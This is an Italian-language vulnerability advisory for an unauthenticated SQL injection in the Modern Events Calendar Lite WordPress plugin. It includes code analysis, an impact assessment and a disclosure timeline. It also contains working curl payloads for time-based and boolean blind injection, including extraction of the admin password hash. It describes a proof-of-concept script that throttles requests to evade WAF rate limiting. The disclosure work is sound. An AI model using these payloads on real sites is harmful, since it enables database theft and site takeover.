
Modern Events Calendar Lite <= 7.33.0 — SQL Injection non autenticata
| Dettaglio | Valore |
|---|
| Plugin | Modern Events Calendar Lite |
| Slug | modern-events-calendar-lite |
| Autore | Webnus |
| Versioni interessate | <= 7.33.0 (l'attuale release Lite distribuita dal vendor). Il bug è presente nell'intero arco post-w.org; confermato in laboratorio su 6.5.6 e 7.33.0, confermato staticamente in 5.21.2. 6.5.6 = ultima build wordpress.org (congelata alla chiusura del 2022-05-11); 7.33.0 = build attuale distribuita da mec.webnus.net |
| Installazioni attive | Conteggio wordpress.org nascosto dalla chiusura; storicamente 100.000+. Ancora attivamente distribuito/aggiornato dal vendor (Lite tramite mec.webnus.net; lo stesso codebase 7.x è alla base del MEC Pro attivamente venduto) |
| CWE | CWE-89 (SQL Injection) |
| Vulnerabilità | Iniezione SQL cieca non autenticata (basata sul tempo / booleana / basata sugli errori) |
| Privilegio richiesto | Nessuno (wp_ajax_nopriv_* — pre-autenticazione) |
| Interazione utente | Nessuna |
| CVSS v3.1 | 7.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Stato | Verificato in laboratorio end-to-end su 7.33.0 (attuale) e 6.5.6 (WordPress 6.6.5, MariaDB 10.x) |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite registra una famiglia di azioni "load more" non autenticate su admin-ajax.php per le sue skin di elenco eventi (list, grid, masonry, agenda, timeline, tile, custom). Ogni handler legge l'array atts controllato dall'attaccante dalla richiesta, lo passa a un helper chiamato sanitize_deep_array() che — quando chiamato con i suoi argomenti predefiniti — non esegue alcuna sanitizzazione — e poi concatena i valori di atts['include'] (e atts['exclude']) grezzi in un frammento SQL post_id IN (...) eseguito con $wpdb->get_results() e senza $wpdb->prepare().
Poiché i punti di ingresso sono registrati su wp_ajax_nopriv_*, non è richiesta alcuna autenticazione, account, nonce o interazione utente. Un attaccante remoto non autenticato può iniettare SQL arbitrario nella clausola WHERE di una SELECT contro wp_mec_dates e leggere qualsiasi dato nel database WordPress (hash delle password utente, segreti/chiavi di wp_options, dati di altri plugin) tramite tecniche cieche basate sul tempo / booleane / basate sugli errori.
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW passthrough, no sanitization
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
}
return $sanitized;
}
Il controllo (is_array($excludes) and !count($excludes)) rende la funzione una completa no-op quando $excludes è l'array vuoto predefinito — ogni valore viene copiato così com'è. L'intento era evidentemente "se esiste una lista di esclusione, salta quelle chiavi"; la logica booleana salta invece tutto ogni volta che non viene fornita alcuna lista di esclusione.
$excludesapp/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts']) viene chiamato con un singolo argomento → $excludes assume il valore predefinito array() → il ramo no-op di cui sopra → $atts è il grezzo, non attendibile $_REQUEST['atts'].
IN (...)app/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
Gli elementi dell'array vengono passati a implode() direttamente nella stringa SQL senza cast a intero e senza escaping. (absint()/(int) su ogni elemento avrebbe chiuso questa falla.)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // only swaps `#__` for the table prefix
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — no prepare()
// ...
}
La stringa completamente costruita viene passata così com'è a $wpdb->get_results().
Flusso del taint (richiesta → sink):
$_REQUEST['atts'] (attacker-controlled, unauthenticated)
→ app/skins/list.php:501 sanitize_deep_array($atts) (NO-OP: default empty $excludes)
→ MEC_skin::initialize($atts) ($this->atts = raw atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (no prepare)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- unauthenticated
La registrazione nopriv rende l'endpoint raggiungibile prima dell'autenticazione. La stessa struttura di load_more() e il query builder condiviso in skins.php sono presenti nelle skin sorelle, ciascuna con la propria azione wp_ajax_nopriv_*, quindi la stessa iniezione è raggiungibile tramite una qualsiasi di:
Azione AJAX (nopriv) | Handler della skin |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
Nessun nonce viene verificato in load_more(), e l'azione non richiede che alcuno shortcode del plugin sia presente in una pagina: gli handler AJAX vengono registrati incondizionatamente all'init.
Tutte le richieste sono non autenticate (nessun cookie, nessun nonce). Il valore iniettato viene inserito in atts[include][]; il payload chiude le due parentesi aperte del gruppo IN ((...) AND (... IN ( e aggiunge un OR <sleep> di livello superiore così che la condizione venga valutata per ogni riga scansionata, poi commenta i )) ORDER BY ... finali:
TARGET='https://victim.example' # plain permalinks: use admin-ajax.php directly
# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) executed
# 3) Boolean oracle (true vs false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: admin hash begins with '$' (phpass)
La query esatta eseguita (catturata da WP_DEBUG_LOG) per un error-canary atts[include][]=0)MEC_SQLI_CANARY era:
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— il token letterale MEC_SQLI_CANARY appare testualmente nell'istruzione eseguita, confermando la concatenazione grezza. Il parametro atts[exclude][] (skins.php:803 / 603, NOT IN) è iniettabile allo stesso modo (confermato in laboratorio: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). La query e l'iniezione identiche sono state riprodotte su 7.33.0 (build attuale) — stessa canary, stesso comportamento SLEEP.
mec-unauth-sqli-poc.py (incluso) è completamente autonomo e non richiede credenziali: conferma l'iniezione (baseline vs. SLEEP), quindi esegue l'estrazione cieca basata sul tempo di dati arbitrari (predefinito: @@version, utente del database e user_login:user_pass del primo admin). Valida ogni risposta (HTTP 200) e dosa le richieste con --delay + back-off per superare WAF/rate-limiting (es. mod_evasive). Nessun dato viene modificato (contesto SELECT di sola lettura).
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
Accesso in lettura completo, non autenticato e raggiungibile di rete, al database: hash delle password di wp_users, wp_options (auth_key, segreti API, token) e qualsiasi altra tabella. In pratica ciò porta a una completa compromissione del sito (cracking offline degli hash, furto di segreti/sessioni). L'impatto sull'integrità è limitato — l'iniezione viene eseguita in una SELECT tramite $wpdb->get_results(), che non consente query impilate — quindi I:N. SLEEP/BENCHMARK pesanti potrebbero degradare la disponibilità, ma l'impatto primario e dimostrato in modo affidabile è la riservatezza (C:H), che porta a un CVSS 7.5.
I numeri di riga sono indicati per 7.33.0 (attuale) con 6.5.6 tra parentesi; il codice è identico in tutto l'arco.
| File | Riga (7.33.0 / 6.5.6) | Problema |
|---|---|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | sanitize_deep_array() è una no-op quando $excludes è l'array vuoto predefinito (il controllo !count($excludes)) |
app/skins/list.php | 535 / 501 | atts letto da $_REQUEST e passato a sanitize_deep_array() senza $excludes (in load_more(), 532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → punto di ingresso non autenticato |
app/libraries/skins.php | 806 / 603-606 | array include / exclude passato a implode() grezzo in post_id IN (...) / NOT IN (...) (exclude a 803 / 603) |
app/libraries/db.php | 79-93 (87) | MEC_db::select() esegue $wpdb->get_results() senza prepare() |
Le skin sorelle (grid, masonry, agenda, timeline, tile, custom) condividono la stessa load_more() + il query builder di skins.php e ciascuna registra un'azione wp_ajax_nopriv_* → stesso bug, molteplici punti di ingresso.
Questo è un punto di iniezione distinto e precedentemente non segnalato. Ogni SQL injection MEC documentata pubblicamente prende di mira una diversa azione AJAX e un diverso parametro, e tutte sono state corrette in versioni precedenti a questa scoperta (confermata attiva in laboratorio nella 7.33.0):
| Riferimento | Autenticazione | Azione AJAX | Parametro | Corretta in |
|---|---|---|---|---|
| CVE-2021-24946 | Non autenticato | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | Non autenticato (solo se addslashes/l'input-slashing è disabilitato) | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | Autenticato (author+/subscriber) | mec_fes_form | mec[post_id] | 5.16.6 |
| Questo report | Non autenticato (nessuna precondizione) | mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | non corretta (≤ 7.33.0) |
mec_load_single_page; questo si trova nella paginazione "load more" della skin (load_more() → MEC_skin::initialize() → costruttore post_id IN (...) in app/libraries/skins.php), raggiunto tramite il ramo predefinito no-op di sanitize_deep_array(). Le patch di mec_load_single_page non toccano skins.php.id) era sfruttabile solo con l'input slashing di PHP/WordPress disabilitato (uno stato non predefinito) perché quel valore si trova in un contesto tra virgolette. Qui i valori atts[include]/atts[exclude] finiscono in un contesto numerico IN(...) senza virgolette e vengono sfruttati con parentesi + keyword SQL (0)) OR SLEEP(3)#), cosa che wp_magic_quotes() non neutralizza. È quindi sfruttabile su un'installazione WordPress predefinita — confermato in laboratorio su WP 7.0 stock (magic quotes attive).mec_load_single_page (6.4.0).Modern Events Calendar Lite è stato rimosso da wordpress.org il 2022-05-11 ("Motivo: violazione delle linee guida"), quindi la build wordpress.org è congelata alla 6.5.6. Questo non significa che il plugin sia abbandonato — Webnus ha continuato lo sviluppo fuori piattaforma: la build Lite attuale distribuita da mec.webnus.net è la 7.33.0, e il percorso di codice vulnerabile è identico byte per byte (confermato in laboratorio; la SQLi si attiva in modo identico su 7.33.0). Il bug quindi colpisce ogni release nell'intero arco successivo alla rimozione, non solo la copia congelata di wordpress.org.
Implicazioni di instradamento (l'obiezione "chiuso su wordpress.org" è molto più debole di quanto sembri):
app/libraries/skins.php, app/libraries/main.php e app/libraries/db.php sono librerie core condivise, quindi Pro è quasi certamente interessato. Questo dovrebbe essere confermato sul sorgente di Pro prima di affermarlo formalmente, ma l'architettura a librerie condivise lo rende molto probabile. Un impatto Pro confermato rende la scoperta inequivocabilmente nell'ambito di Patchstack (un componente venduto pubblicamente) e meritevole di una CVE MITRE/Patchstack indipendentemente dallo stato nella lista wordpress.org.Una CVE è giustificata nel merito: SQL injection non autenticata, raggiungibile di rete, con lettura completa del database, in un prodotto attuale distribuito dal vendor con una base di installazioni storica a sei cifre.
| Data | Evento |
|---|---|
| 2026-06-03 | Scoperta durante una revisione automatizzata del plugin; verificata end-to-end (non autenticata) su MEC Lite 6.5.6 (build congelata wordpress.org) |
| 2026-06-04 | Riverificata end-to-end su 7.33.0 (Lite attuale distribuita dal vendor da mec.webnus.net); codice/iniezione confermati identici — la scoperta è attuale, non un artefatto della versione rimossa |
| 2026-06-04 | Notifica al vendor (Webnus) + richiesta CVE WPScan; confermare che MEC Pro condivide il percorso |
| 2026-06-05 | Vulnerabilità verificata e CVE assegnata |